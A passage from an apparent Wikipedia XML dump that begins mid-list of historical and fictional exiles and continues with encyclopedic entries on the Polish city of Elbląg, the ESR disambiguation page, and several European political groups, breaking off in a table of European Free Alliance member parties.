*[[Francisco Ayala]], exiled from [[Spain]] to [[Argentina]]
*Emperor [[Bao Dai]] of Vietnam
*Crown Prince [[Bao Long]] of Vietnam
*Saint [[Thomas à Becket]], fled to France
*[[Gioconda Belli]], exiled from [[Nicaragua]], to [[Mexico]]
*[[Napoleon I of France|Napoleon Bonaparte]] exiled from [[France]] to [[Elba]] and, later, [[St Helena]]
*[[Kigeri V of Rwanda]] exiled from [[Rwanda]] to [[Uganda]] and, later, recieved political asylum to live in the [[USA]]
*[[Willy Brandt]] exiled to [[Norway]] and [[Sweden]], during the Nazi era
*[[Bertolt Brecht]]
*[[Breyten Breytenbach]]
*[[Joseph Brodsky]], exiled from [[Soviet Union]] to [[United States]]
*[[George Gordon Byron, 6th Baron Byron|Lord Byron]], exiled from [[United Kingdom]], to [[Italy]] and [[Ottoman Empire]]
*[[Alejo Carpentier]], exiled from [[Cuba]] to [[Haiti]] and [[Venezuela]]
*[[Frédéric Chopin]], exiled from [[Poland]] to [[France]]
*[[El Cid]], banned from [[Castile]], served other Iberian kings ending with the conquest of [[Valencia]]
*[[Nadia Comaneci]], famous Romanian gymnast, self-exiled to [[United States]]
*[[Celia Cruz]], exiled from [[Cuba]] to [[United States]]
*[[Humberto Delgado]], exiled from [[Portugal]] to [[Brazil]] and [[Algeria]]
*[[Porfirio Díaz]], exiled from [[Mexico]] to [[France]]
*[[Ariel Dorfman]], exiled from [[Chile]], to [[United States]]
*[[Du Fu]]
*[[Jean-Claude Duvalier]], exiled form [[Haiti]] to [[France]]
*[[Albert Einstein]] self-exiled from Germany to the [[United States]] 
*[[Bobby Fischer]] from the [[United States]] to the [[Philippines]], [[Japan]] and [[Iceland]]
*[[Lion Feuchtwanger]],
*[[Sigmund Freud]] self exiled from [[Austria]] to [[United Kingdom]]
*[[Alberto Fujimori]], exiled from [[Peru]] to [[Japan]]
*[[Eduardo Galeano]], exiled from [[Uruguay]] to [[Argentine]] and [[Spain]]
*[[Giuseppe Garibaldi|Garibaldi]] exiled to [[South America]]
*[[Francisco de Goya]] exiled to [[Bordeaux]] as ''[[afrancesado]]''
*[[Jorge Guillén]]
*[[Tenzin Gyatso]], 14th [[Dalai Lama]], exiled from [[Tibet]] to [[India]]
*[[Heinrich Heine]]
*[[Victor Hugo]] exiled from [[France]] to the [[Channel Islands]]
*[[Juan Ramón Jiménez]], fled to [[United States]], [[Cuba]], and finally to [[Puerto Rico]]
*[[Arthur Koestler]] 
*[[Kim Dae-jung]]
*[[Idi Amin]], exiled to [[Libya]], and [[Saudi Arabia]] until his death.
*[[Konstantinos Karamanlis]]
*[[Ruhollah Khomeini]], exiled from Iran to France.
*[[Pavel Kohout]]
*[[Jan Amos Komenský]]
*[[Tadeusz Kościuszko]]
*[[Lajos Kossuth]]
*Prince [[Norodom Sihanouk]], exiled from [[Cambodia]] to [[China]] and [[North Korea]] twice.
*[[Peter Kropotkin]]
*[[Lenin]] self-exiled to [[Switzerland]]
*[[Lotte Lehmann]]
*[[Fernão Lopez]] self-exile to [[Saint Helena]]
*[[La Lupe]], to [[Puerto Rico]] and [[United States]]
*[[Heinrich Mann]] self-exile to [[Switzerland]] and to the [[United States]]
*[[Thomas Mann]] self-exile to [[Switzerland]] and to the [[United States]], moved back to Switzerland
*[[Ferdinand Marcos]] exiled from the [[Philippines]] to [[Hawaii]]
*[[Karl Marx]] self-exiled from [[Germany]] to [[Great Britain]]
*[[José Martí]]
*[[Giuseppe Mazzini]] 
*[[Rigoberta Menchú]], exiled from [[Guatemala]], to [[Mexico]]
*[[Aleksandr Danilovich Menshikov]]
*[[Ezekiel Mphahlele]], exiled from [[South Africa]] to [[Kenya]], [[Zambia]] and [[United States]] 
*[[Adam Mickiewicz]]
*[[Mobutu Sese Seko]]
*[[Mireya Moscoso]], fled to [[Spain]]
*[[Kwame Nkrumah]] exiled from [[Ghana]] to [[Guinea]]
*[[Juan Carlos Onetti]] exiled from [[Uruguay]] to [[Spain]] until his death
*[[Ovid]]
*[[Víctor Paz Estenssoro]], exiled from [[Bolivia]] to [[Argentina]], [[Perú]]
*[[Carlos Andrés Pérez]], exiled from [[Venezuela]], to [[Colombia]], [[Costa Rica]], and [[United States]]
*[[Marcos Pérez Jiménez]], exiled from [[Venezuela]] to [[USA]] and [[Spain]]
*[[Juan Perón]] exiled from [[Argentina]] to [[Paraguay]] and [[Spain]]
*[[Saint-John Perse]] exiled from [[Vichy France]] to [[United States]]
*[[Bob Powell]]
*[[Ferenc Puskás]] from Hungary to Spain
*[[Victor Raúl Haya de la Torre]], fled to [[Mexico]]
*[[Romain Rolland]], fled to [[Switzerland]]
*[[Wilhelm Röpke]] fled Germany during Nazi rule
*Prince [[Sauryavong Savang]], lives in exile in [[Paris, France]]
*Crown Prince [[Soulivong Savang]], lives in exile in [[Paris, France]]
*Prince [[Vong Savang]], lives in exile in [[Paris, France]]
*[[Jorge Semprún]], exiled from [[Spain]], to [[France]]
*[[Costas Simitis]], exiled from [[Greece]], to [[Germany]]
*Prince [[Mangkra Souvannaphouma]], lives in exile in [[Paris, France]]
*Prince [[Nguyen Phuc Buu Chanh]] of [[Vietnam]], lives in exile in the [[United States]] 
*Prince [[Shwebomin]] lives in exile in [[London]], [[England]]
*Prince [[Hso Khan Pha ]] lives in exile in [[Canada]]
*[[Fernando Savater]]
*Emperor [[Amha Selassie I]], lived in exile in [[Djibouti]],[[Israel]], [[Great Britain]], and [[United States]].
*Emperor [[Haile Selassie]] of Ethiopia
*[[Crown Prince Zera Yacob Amha Selassie]] lived in exile in [[Djibouti]], [[Israel]], [[Great Britain]], and [[United States]]
*[[Juliusz Slowacki]]
*[[Aleksandr Solzhenitsyn]] exiled from the [[Soviet Union]], returned after the fall of [[Communism]]
*[[Mario Soares]]
*[[Wole Soyinka]]
*[[Alfredo Stroessner]] exile from [[Paraguay]] to [[Brazil]]
*[[Sun Yat-sen]]
*[[Oliver Tambo]] 
*[[Leon Trotsky]] exiled to [[Turkey]], [[France]], [[Norway]] and [[Mexico]]
*[[Miguel de Unamuno]] confined to [[Fuerteventura]], fled to France.
*[[Clement Vallandingham]], exiled to the [[Confederate States of America]], to [[Bermuda]], then [[Canada]]
*[[Mario Vargas Llosa]], exiled from [[Perú]], to [[France]], [[Spain]] and [[Great Britain]]
*[[Bruno Walter]]
*[[Mohammad Zaher Shah]] exile from [[Afghanistan]] to [[Italy]]
*[[Nicholas I of Montenegro]]
*[[Raúl Salinas de Gortari]] self-exiled to [[Ireland]]
*[[Herold Pinter]]
*[[Edward VIII of the United Kingdom|The Prince Edward, Duke of Windsor]], by virtue of his marriage to [[Wallis Simpson]] and his falling-out with the [[British Royal Family|Royal Family]] and his brother [[King George VI]], to [[France]]

== [[fictional character|Fictional people]] who have been in exile ==
*Philip Nolan in [[Edward Everett Hale]]'s novel ''[[The Man Without a Country]]''
*[[Obi-Wan Kenobi]], after the [[Great Jedi Purge]], going into hiding on [[Tatooine]] to watch over [[Luke Skywalker]]
*[[Yoda]], self-exile to [[Dagobah]] after the [[Great Jedi Purge]]
*[[Oedipus|Oedipus the King]] in the self-titled [[Sophocles]] [[Oedipus the King|play]]

== See also ==
* [[Ban (law)|Ban]]
* [[Ostracism]]
* [[Refugee]]

==References==
&lt;!-- Tips for referencing:

For websites, use the formatting below (date/year are when you accessed the web page):
{{Web reference | title=Title of page | work=Title of Complete Work | url=http://www.example.com | date=Month Day | year=Year}}


For Books, use:
{{Book reference | Author=Lincoln, Abraham; Grant, U. S.; &amp; Davis, Jefferson | Title=Resolving Family Differences Peacefully | Publisher=Gettysburg: Printing Press | Year=1861 | Editor=Stephen A. Douglas | ID=ISBN 0-12-345678-9}}


For other sources, see: [[WP:CITET]]
--&gt;
{{unreferenced}}

{{wiktionary|exile}}

[[Category:Exile| ]]

[[bg:Изгнание]]
[[da:Eksil]]
[[de:Exil]]
[[fr:Exil]]
[[he:גלות]]
[[it:Esilio]]
[[nl:Ballingschap]]
[[ja:流罪]]
[[nn:Eksil]]
[[pl:Banicja]]
[[pt:Exílio]]
[[ro:Exil]]
[[sv:Exil]]</text>
    </revision>
  </page>
  <page>
    <title>ELF</title>
    <id>9856</id>
    <revision>
      <id>15907720</id>
      <timestamp>2004-03-17T18:52:03Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <comment>#REDIRECT [[Elf (disambiguation)]]</comment>
      <text xml:space="preserve">#REDIRECT [[Elf (disambiguation)]]</text>
    </revision>
  </page>
  <page>
    <title>Elbląg</title>
    <id>9857</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>34883754</id>
      <timestamp>2006-01-12T12:35:08Z</timestamp>
      <contributor>
        <username>SpookyMulder</username>
        <id>87517</id>
      </contributor>
      <minor />
      <comment>consistency etc.</comment>
      <text xml:space="preserve">&lt;!--SCROLL DOWN IN ORDER TO EDIT THE ARTICLE--&gt;
{{Infobox_Poland|
    city_name=Elbląg|
        motto=none|
   voivodship=[[Warmian-Masurian Voivodship|Warmia-Masuria]]|
      council=Rada Miejska w Elblągu|
        mayor=Henryk Słonina|
         area=83,32|
   population=130,000|
agglomeration=none|
      density=1544,64|
 date_founded=[[9th century]]|
  city_rights=[[1246]]|
     latitude=54° 10' N|
    longitude=19° 24' E|
    area_code=55|
   car_plates=NE|
   twin_towns=[[Baltiysk]], [[Baoji]], [[Compiegne]], [[Coquimbo]], [[Druskininkai]], [[Kaliningrad]], [[Leer]], [[Liepāja]], [[Navahrudak]], [[Ronneby]], [[Ternopil]], [[West Wiltshire]]|
      website=http://www.umelblag.pl/|
 location_pic=Elblag Mapa.PNG|
     flag_pic=Elblag Flaga.PNG|
      coa_pic=Elblag Herb.PNG|
colour_scheme=background:#cccccc;|
}}

'''Elbląg''' (pronounced [[Image:Ltspkr.png]] [[Media:Elblag.ogg|&lt;nowiki&gt;[&lt;/nowiki&gt;:εlbl&amp;#596;&amp;#771;g&lt;nowiki&gt;]&lt;/nowiki&gt;]], local Polish [[dialect]]: ''Elbiąg'' ([:εlbi&amp;#596;&amp;#771;g]); [[German language|German]]: ''Elbing''; [[Old Prussian]] ''Truso, Ilfing'') is a [[city]] in northern [[Poland]] with 128,700 inhabitants, the [[capital]] of the [[Powiat]] [[Powiat of Elblag|of Elbląg]], situated in the [[Warmian-Masurian Voivodship]] since [[1999]], previously capital of [[Elbląg Voivodship]] ([[1975]]&amp;ndash;[[1998]]), and a county-site of [[Gdańsk Voivodship]] ([[1945]]&amp;ndash;1975).

The city is located on the Elbląg river connecting the [[Drużno Lake]] to the [[Vistulan Bay]].

===The city's name===
According to various sources the city name of Elbląg comes from the river name, which is of (Old)Prussian or Germanic (Gothic) origin. Early sources: river ''Ilfing'' ([[890]]), ''Castrum de Elbingo quod a nomine fluminis Elbingum appellavit'' (1237 &amp;mdash; Peter Dusburg, Chronicon Terre Prussiae), ''in Elbingo'' ([[1239]]), ''in Elbing'' ([[1242]]), ''in Elbinge ... fluvium Elbinc'' ([[1246]], city charter), ''de Elbingo'' ([[1250]]), ''in Elbyngo'' ([[1258]]), ''vitra Elbingum'' ([[1263]]), ''Elvingo'' ([[1293]]), ''in Elbingo'' ([[1300]]), ''in Elvingo'' ([[1389]]), ''czum Elbinge'' ([[1392]]), ''czu Elbing'' ([[1403]]), ''Elwing'' ([[1410]]), ''czum Elwinge'' ([[1412]]), ''Elbing'' ([[1414]]&amp;ndash;[[1438]]), ''Elbyang'' (before [[1454]]), ''Elbing'' ([[1508]]), ''ku Elbiągowi'' ([[1634]]), ''w Elblągu'' ([[1661]]), ''w Elblągu'' ([[1661]]).

{{Polishcity|name=Elbing}}

Literature:
* ''Elbląg'', in: Kazimierz Rymut, ''Nazwy Miast Polski'', [[Ossolineum]], Wrocław [[1987]]
* Hubert Gurnowicz, ''Elbląg'', in: ''Nazwy miast Pomorza Gdańskiego'', Ossolineum, Wrocław [[1978]]

==History==
===(Old) Prussian city of Truso===
The seaport of Truso on the Ilfing river was first mentioned in ca. 890 by [[Wulfstan of Hedeby]], an [[Anglo-Saxon]] sailor, travelling on the south coast of the [[Baltic Sea]]. The exact location of Truso is not certain, as the seashore has significantly changed, but most historians trace the settlement inside or near to modern Elbląg.

It was an important seaport serving the [[Vistula]] river bay on the early medieval Baltic Sea trade routes. The main goods were amber, furs and slaves. The town was inhabited by the (old) Prussian tradesmen and craftsmen, but also visited by merchants from the Baltic territories (Poland, Scandinavia). Truso's importance declined in the [[10th century]], and its functions were taken over by [[Gdańsk]] and later by Elbląg.

'''Truso''', situated on [[Lake Druzno]], was an [[Prussia (Baltic)|Old Prussian]] town near the Baltic Sea just east of the [[Vistula River]]. It was one of the trading posts on the [[Amber Road]], and is thought to be the antecedent of the city of [[Elbląg]].

Truso was situated in a central location upon the Eastern European trade routes, which led from [[Birka]] in the north to the island of [[Gotland]] and to [[Visby]] in the [[Baltic Sea]] and later included the [[Hanseatic League]] city of Elbląg. From there, traders continued further south to [[Carnuntium]] in the [[Alps]]. This was called the [[Amber Road]]. The ancient Amber Road or roads led further southwest and southeast to the [[Black Sea]] and eventually to [[Asia]].

The east-west trade route went from Truso, along the [[Baltic Sea]] to [[Jutland]], and from there inland by river to [[Hedeby]], a large trading center in Jutland. Hedeby, which lay near the modern city of Schleswig in [[Schleswig-Holstein]], was pretty centrally located and could be reached from all four directions overland as well as from the [[North Sea]], the [[Atlantic Ocean]], and the Baltic Sea.

Around the year 890, [[Wulfstan of Hedeby]] (by his own account) reportedly undertook a boat journey from Hedeby to Truso at the behest of King [[Alfred the Great]]. One possible reason for this expedition was that Harold needed aid in his defense against the Danes or [[Vikings]], who had taken over most of [[England]]. The reasons for this journey are fundamentally unclear, since Truso was at the time little more than a trading center, and Alfred the Great, the West Saxon ruler, already kept in close contact with the continental Saxons and the Franks.

===Bringing Christianity &amp;mdash; Teutonic Order===
In the [[12th century|12th]] and [[13th century|13th centuries]], Elbląg was loosely dependent on the Polish [[duchy]] of [[Eastern Pomerania]]. The task of [[Christianization]] of the territory was given to bishop Christian of [[Prussia]] ([[Zantyr]]) and the [[Teutonic Order]] who received Kulmerland or [[Chełmno Land]] as [[fief]] from the independent [[duke]] [[Konrad of Mazovia]]. The [[Conquest of Prussia]] was only accomplished with great bloodshed over more than 50 years, during which new [[castle]]s were built and trade and administration cities were founded.

A city named Elbing in [[Pogesania]] was founded in [[1237]] by German tradesmen near the ruins of the Prussian fortress and trading settlement of [[Truso]], on the ancient [[Amber Road]]. The Teutonic Knights built a castle, which the burghers later destroyed. When Prussia was divided into four [[diocese]]s, Elbing and Pogesania became part of one of the four [[diocese]]s named [[Pomesania]].

In [[1246]] Elbląg received [[Lübeck rights]] marking its importance as a [[seaport]] (unlike many other cities in east-central Europe, which received [[Magdeburg rights]]). At this time it was a significant seaport, member of the [[Hanseatic League]], having important trading contacts with [[England]], [[Flanders]], [[France]] and the [[Netherlands]]. The city received numerous merchant privileges from rulers of [[England]], [[Poland]], [[Pomerania]] and the [[Teutonic Order]]. e.g. in the privilege of the Elbląg Old Town was upgraded in [[1343]], in [[1393]] it was granted an emporium privilege for grains, metals and forest products. A separate settlement called Elbląg New Town was founded in ca. [[1337]] and it received a Lübeck law charter in [[1347]].

The oldest copy of the Polish [[common law]], called the [[Book of Elbląg]] (Księga Elbląska) was written in the second half of 13th century. A vocabulary of the [[Baltic languages|Baltic]] [[Old Prussian language|Old Prussian]] language, named the Elbing-Preußisches Wörterbuch (Elbląg Prussian Dictionary), was written around [[1350]] by the leading administrators.

===Member of the Hanseatic league===
The trading cities of Elbląg (Elbing), [[Gdańsk]] (Danzig), and [[Toruń]] (Thorn), under the leadership of Imperial [[Cologne]], formed the [[Hanseatic League]].

In [[1440]] the eastern Prussian cities formed the [[Prussian Confederation]] (Preußische Bund), which led the successful rising (1454) of Prussia against the rule of the [[Teutonic Order]]. The [[Prussian Confederation]] asked King of Poland [[Casimir IV of Poland]] for help in their struggle against the Teutonic Knights. On the request of the confederation Casimir IV annexed Prussia and this led to the [[Thirteen Years War]]. As a result, the city of Elbląg became a part of the province of [[Royal Prussia]] under the sovereignty of the Polish crown. Since [[1569]], Elbląg became the part of [[Polish-Lithuanian Commonwealth]] that respected local languages and law. The administration switched from [[Middle Low German]] to [[German language|German]], as was the case in all Hanseatic cities.

[[Image:Feldaltar MK1888.png|thumb|right|Field altar of the Grand Masters of the Teutonic Order]]

With the [[Reformation]] the burghers became protestants and in [[1535]] the first [[Protestant]] [[Gymnasium (school)|Gymnasium]] was established in Elbląg.

From [[1579]] Elbląg had close trade relations with [[England]], to which the city accorded free trade. English and [[Scotland|Scots]] merchants settled in Elbląg and formed the ''[[Scots Reformed Church of Elbing]]''. The Scottish newcomers remained and aided Protestant [[Sweden]] in the [[Thirty Years War]]. The rivalry of nearby Gdańsk several times interrupted trading links. By [[1618]] Elbląg left the [[Hanseatic League]] owing to its close business dealings with England.

Famous inhabitants of the city at that time included native sons [[Hans von Bodeck]], [[Samuel Hartlib]] or Hartlieb and for six years the Moravian Brethren refugee Johann Amos [[Comenius]]. In [[1646]] the Elbląg city recorder Daniel Barholz noted that the Elbląg city council employes ''Bernsteindreher'', also known as ''Paternostermacher'', licensed and guilded amber craftsmen. The family became mayors, councillors etc. The poet [[Christian Wernicke]] was born in [[1661]] in Elbing. [[Gottfried Achenwall]] ([[1719]] Elbing - [[1772]] Göttingen) became famous for his teachings in natural law and human rights law.

Imperial Cartographer [[Johann Friedrich Endersch]] of Elbląg completed a map of [[Warmia]] in [[1755]] and also made a [[copper]] [[etching]] of the galliot named ''Die Stadt Elbing'' ([[The City of Elbląg]]).

At the time of the First Partition of Poland in [[1772]], the city lost its privileges as city-state and was annexed to the [[Kingdom of Prussia]], which in [[1871]] became a part of the [[Germany|German Empire]].

===Industrialization===
In [[1828]] the first steamship was built by Ignatz Grunau. In [[1837]] [[Ferdinand Schichau]] started the Schichau-Werke in Elbing and later a large shipyard in nearby Danzig as well. Schichau constructed the ''Borussia'', the first screw-vessel in Germany. Elbings Schichau-Werke built [[hydraulic]] machinery, ships, [[steam engine]]s and torpedoes. After the inauguration of the railway to [[Kaliningrad|Königsberg]] in [[1853]], Elbing's industry began to grow. Schichau worked together with his son-in-law Carl H. Zise, who continued the industrial complex after Schichau's death. Schichau erected large complexes for his many thousands of workers.

Another Prussian engineer Baurat [[Georg Steenke]] from Königsberg, had connected Elbing near the Baltic Sea with the southern part of Prussia, by building the Oberland Kanal.

As Elbing became an industrialized city, the [[Social Democratic Party of Germany]] (SPD) got the majority of votes, in [[1912]] [[Reichstag (institution)|Reichstag]] elections even 51%.

The LDS Mormons started filming church records of people affected. The Elbing church records (''Kirchenbuch'') vital statistics are available since [[1577]].

A large number of the German inhabitants of Elbing fled when the [[Soviet army]] approached the city. Almost all who had returned or remained, were expelled during and after the end of [[World War II]], when the city came under Polish administration by order of the Soviet Union.

During the siege of February [[1945]] the Old Town was burnt down by the approaching Soviet Army. The city was 65% destroyed, including most of the historical city centre. After the war some of it was demolished and the bricks were used to rebuild [[Warsaw]] and [[Gdańsk]]. Most of the ruins were demolished in the course of the [[1960s]] and [[1970s]].

===Elbing Concentration Camps===
Elbing in [[Nazi]] times was a location for the 3 [[Germany|German]] concentration camps ''Elbing'', ''Elbing (Org. Todt)'', and ''Elbing (Schinau)'' that were subcamps of the concentration camp [[Stutthof]].

===History after 1945===
After the German population had been expelled, the city was repopulated and the name changed to Elbląg. Ninety-eight percent of the new inhabitants were Poles expelled from the areas annexed by the [[Soviet Union]] as well as Polish peasants from the overpopulated villages in central Poland.

The communist authorities planned that the Old Town, utterly destroyed in [[1945]], be rebuilt with blocks of flats. However, economic difficulties thwarted this plan. The ruins of the old town were torn down in the [[1960s]] and only two [[church]]es were left for reconstruction.

Elbląg was the scene of one of the riots in the coastal cities in [[1970]] together with [[Tricity]] and [[Szczecin]], see also [[Coastal cities events]].

After [[1989]] restoration of the Old Town began. The local authorities passed the plan of rebuilding it with new houses that fit the same dimensions and size rather than historical buildings reconstructed. On some occasions the private investors have incorporated parts of preserved stonework into new architecture. So far approximately 2/3 of the Old Town has been reconstructed.

Since the beginning of the restoration, an extensive archaeological programme has been carried out. Most of the city's heritage was destroyed in the [[19th century]] during the construction of basements and the [[1945]] bombardment, however the backyards of the houses were not changed and the [[latrine]]s are a source of priceless information on the city's history. Many pieces of art and utilities of everyday use can be seen in the city museum. Among them are the only [[15th century]] [[binoculars]] preserved in [[Europe]].

Since [[1990]] there has been an emergence of an Elbing German minority group, named Elbinger Minderheit; it counts some one hundred persons.

==Tourist attractions==
Until WWII there were many Gothic, renaissance and baroque houses in Elbląg's Old Town; some of them are reconstructed. Other preserved builings are:
*[[St. Nicolas cathedral in Elbląg]] - a monumental [[13th century]] Gothic church (cathedral only from 1992, before it was a parochial church), damaged in fire in late [[18th century]], then destroyed in WWII and reconstructed
*city gate (''Brama Targowa'') - erected in [[1319]]
*[[St. Mary's church in Elbląg]] - former Dominican church, erected in [[13th century]], rebuild in 14th and 16th centuries; damaged in WWII and reconstructed in [[1961]] as an art gallery; remnants of cloister are partially preserved
*Holy Ghost church with hospital, from 14th c.
*Corpus Christi church from 14th c.
*Teutonic Knights' castle

==Education==
* Elbląska Uczelnia Humanistyczno-Ekonomiczna

==Sports==
* [[EB Start Elbląg]] - women's [[Handball in Poland|handball]] team playing in [[Polish Ekstraklasa Women's Handball League]]: 5th place in 2003/2004 season.

==Politics==
===Elbląg constituency===
Members of Parliament ([[Sejm]]) elected from Elbląg constituency

* Jan Antochowski, SLD-UP 
* Danuta Ciborowska, SLD-UP 
* Witold Gintowt-Dziewałtowski, SLD-UP 
* Stanisław Gorczyca, PO 
* Jerzy Müller, SLD-UP 
* Adam Ołdakowski, Samoobrona 
* Andrzej Umiński, SLD-UP 
* Stanisław Żelichowski, PSL
&lt;!--

===Municipal politics===
to be written yet--&gt;

==Famous people==
* [[Andrzej Sakson]] (b. 1950) - sociologist, director of [[Western Istitute]]
* [[Ewa Białołęcka]] (b. 1967) - fantasy writer

==See also==
* [[EB (beer)|EB]] - Polish beer produced by the Elbrewery Company

==External links==
* [http://www.elblag.pl Wirtualny Elbląg (in Polish)]
* [http://plan.elblag.com.pl/ The interactive map of Elbląg]
* [http://www.umelblag.pl/ The Elbląg Municipal Authorities] - Polish language site only
* [http://www.gminaelblag.pl Gmina of Elbląg] - Polish language site only
* [http://www.powiat.elblag.pl Powiat of Elbląg] - Polish language site only
* http://www.it.elblag.com.pl/ - tourism information
* http://www.portel.pl/ - Polish language site only
* http://www.elblag24.pl/ - Polish language site only
* http://info.elblag.pl/ - Polish language site only
* http://elblag.wm.pl/ - Polish language site only
* http://www.nocnyelblag.pl/ - Polish language site only
* http://www.nasz.elblag.pl/ - a newspaper (in Polish)

[[Category:Elbląg| ]]
[[Category:Urban counties of Warmia-Masuria|Elbląg]]

[[da:Elbląg]]
[[de:Elbląg]]
[[eo:Elbląg]]
[[fr:Elbląg]]
[[la:Elbinga]]
[[lv:Elblonga]]
[[na:Elblag]]
[[nl:Elbląg]]
[[nds:Elbing]]
[[pl:Elbląg]]
[[ro:Elbląg]]
[[sv:Elbląg]]</text>
    </revision>
  </page>
  <page>
    <title>ESR</title>
    <id>9860</id>
    <revision>
      <id>28382439</id>
      <timestamp>2005-11-15T09:13:59Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ja</comment>
      <text xml:space="preserve">'''ESR''' can stand for many things, including:

* [[electron spin resonance]]
* [[equivalent series resistance]]
* [[Eric S. Raymond]], the [[open source]] software advocate
* [[erythrocyte sedimentation rate]]
* [[Earlham School of Religion]] at [[Earlham College]] in [[Indiana]], [[United States]]
* [[Electro Slag Remelting]]

{{TLAdisambig}}

[[ja:ESR]]</text>
    </revision>
  </page>
  <page>
    <title>Europe of Democracies and Diversities</title>
    <id>9862</id>
    <revision>
      <id>40363247</id>
      <timestamp>2006-02-20T01:49:07Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Europe of Democracies and Diversities''' was a [[Euroscepticism|euro-sceptic]] political group with seats in the [[European Parliament]] between [[1999]] and [[2004]]. Following the elections in 2004, the former MEPs of the group took [[MEPs]] from the new member countries on board and together, they registered the new group [[Independence and Democracy]] (IND/DEM).

==Members==
#[[Junibevaegelsen]] (June Movement) ([[Denmark]])
#[[Chasse, Pêche, Nature, Traditions]] ([[France]]) 
#[[Combats Souverainistes]] (Fighters for Sovereignty) ([[France]])
#[[ChristenUnie-SGP]] ([[Netherlands]])
#[[United Kingdom Independence Party]] ([[United Kingdom]])
#[[League of Polish Families]] ([[Poland]])
See also [[List of political parties]].

==External links==
*[http://www.europarl.eu.int/groups/accounts_en.htm European Parliament Annual Accounts of Political Groups]

[[Category:Former European Parliament party groups]]
[[Category:Euroscepticism]]

[[fr:Groupe pour l'Europe des démocraties et des différences]]
[[de:Europa der Demokratien und der Unterschiede]]
[[sv:Demokratiernas och mångfaldens Europa]]</text>
    </revision>
  </page>
  <page>
    <title>European Federation of Green Parties</title>
    <id>9863</id>
    <revision>
      <id>31206736</id>
      <timestamp>2005-12-13T16:47:49Z</timestamp>
      <contributor>
        <username>Jeandré</username>
        <id>10106</id>
      </contributor>
      <minor />
      <comment>/*See also*/{{Green Parties}}</comment>
      <text xml:space="preserve">{{Greens}}
The '''European Federation of Green Parties''' is an [[umbrella organization]] of [[Green Party|green parties]] in [[Europe]]. Since the change of statutes on [[February 21]], [[2004]], the European Federation of Green Parties can, apart from member parties, also have individual members, but this is rather rare. The federation has been partly succeeded by a [[European political party|party at the European level]], the [[European Greens]].

Prior to the founding of the European Greens, EFGP was one of the two subgroups in the [[European Greens - European Free Alliance|Greens-EFA]] group in the [[European Parliament]].

The European Federation facilitates communication between member parties. At meetings it arrives at shared manifestos for European elections, and provides an opportunity for networking and the discussion of strategy. It also gives support to new or small parties in order to strengthen them. They did work in Spain to unify divided groupings in each region, and succeeded to an extent -- two regions elected Green MPs to the Spanish Parliament.

As of 2005, the Federation includes 33 Green parties in 30 European countries. See [[European Greens]] for detailed information on membership.

==See also==
*[[Political parties of the world]]
{{Green Parties}}

[[Category:Green political parties]]</text>
    </revision>
  </page>
  <page>
    <title>European Free Alliance</title>
    <id>9864</id>
    <revision>
      <id>40792976</id>
      <timestamp>2006-02-23T01:26:14Z</timestamp>
      <contributor>
        <username>Behemoth</username>
        <id>203360</id>
      </contributor>
      <text xml:space="preserve">{{Infobox_European_Political_Party |
  party_name = European Free Alliance |
  party_name_de = Europäische Freie Allianz |
  party_name_fr = Alliance libre européenne |
  party_name_it = Alleanza libera europea  |
  party_name_es = Alianza libre europea |
  party_articletitle = European Free Alliance |
  party_logo =  [[Image:Efa logo.png|200px|Logo of the European Free Alliance]]|
  president = [[Nelly Maes]] |
  foundation = [[1981]]|
  ideology = [[region|regional-]][[self-governance|autonomist]]|
  international = ''none'' |
  europarl = [[European Greens - European Free Alliance]] |
  colours = [[Blue]] and [[Grey]]|
  headquarters = 19 rue Woeringen&lt;br/&gt;1000 [[Brussels]], [[Belgium]] |
  website = [http://www.e-f-a.org/ www.e-f-a.org]
}}
The '''European Free Alliance''' ('''EFA''') is a grouping of various [[political party|political parties]] in [[Europe]] who believe in either full political [[independence]] ([[statehood]]), or some form of [[devolution]] or [[self-government]] for their country or region.

The group has five Members of the [[European Parliament]]:

*[[Jillian Evans]], [[Plaid Cymru]], [[Wales]]
*[[Ian Hudghton]], [[Scottish National Party]], [[Scotland]]
*[[Bernat Joan i Marí]], [[Republican Left of Catalonia]], (Esquerra Republicana de Catalunya), [[Catalonia]]
*[[Alyn Smith]], [[Scottish National Party]], [[Scotland]]
*[[Tatjana Ždanoka]], [[For Human Rights in United Latvia]] (Par Cilveka Tiesibam Vieneta Latvija), [[Latvia]]

MEP Ždanoka is an individual affiliate to the EFA group at the European Parliament. Her party is not a member of EFA. EFA is in a joint group with the Greens in the European Parliament: [[European Greens - European Free Alliance]]. 

In November [[2005]], [[Sveriges Television]], [[Sweden]]'s state broadcaster, reported that the [[June List]], with 3 MEPs, were seriously considering changing allegiance in the European Parliament from the eurosceptic/EU-critical [[Independence and Democracy]] group to the [[centre-left]] European Free Alliance group.

==Participating parties==
{| border=1 cellpadding=5
|-
|'''Current State(s)'''||'''Party'''||'''Seeking to&lt;br /&gt;represent'''
|-
|[[Austria]]||[[Enotna Lista]]||[[Slovenes]]
|-
|[[Belgium]]||[[Partei Deutschsprachigen Belgier]]||[[German-speaking community of Belgium|German speakers]]
|-
|[[Belgium]]||[[Spirit (Belgium)|Spirit]]||[[Flanders]]
|-
|[[Finland]]||[[Ålands Framtid]]||[[Åland]]
|-
|[[France]]||[[Ligue Savoisienne]]||[[Savoie]]
|-
|[[France]]||[[Mouvement Région Savoie]]||[[Savoie]]
|-
|[[France]]||[[Partit Occitan]]||[[Occitania]]
|-
|[[France]]||[[Partitu di a Nazione Corsa]]||[[Corsica]]
|-
|[[France]]||[[Union démocratique bretonne]]||[[Brittany]]
|-
|[[France]]||[[Union du Peuple Alsacien]]||[[Alsace]]
|-
|[[France]]||[[Unitat Catalana]]||[[Catalonia]]
|-
|[[Greece]]||[[Vinozhito Rainbow Party]]||[[Macedonian Slavs]]
|-
|[[Italy]]||[[Libertà Emiliana-Nazione Emilia]]||[[Emilia-Romagna]]
|-
|[[Italy]]||[[Liga Fronte Veneto]]||[[Veneto]]
|-
|[[Italy]]||[[Partido Sardo d'Azione]]||[[Sardinia]]
|-
|[[Italy]]||[[Slovenska Skupnost]]||[[Slovenes]]
|-
|[[Italy]]||[[Union für Südtirol]]||[[South Tyrol]]
|-
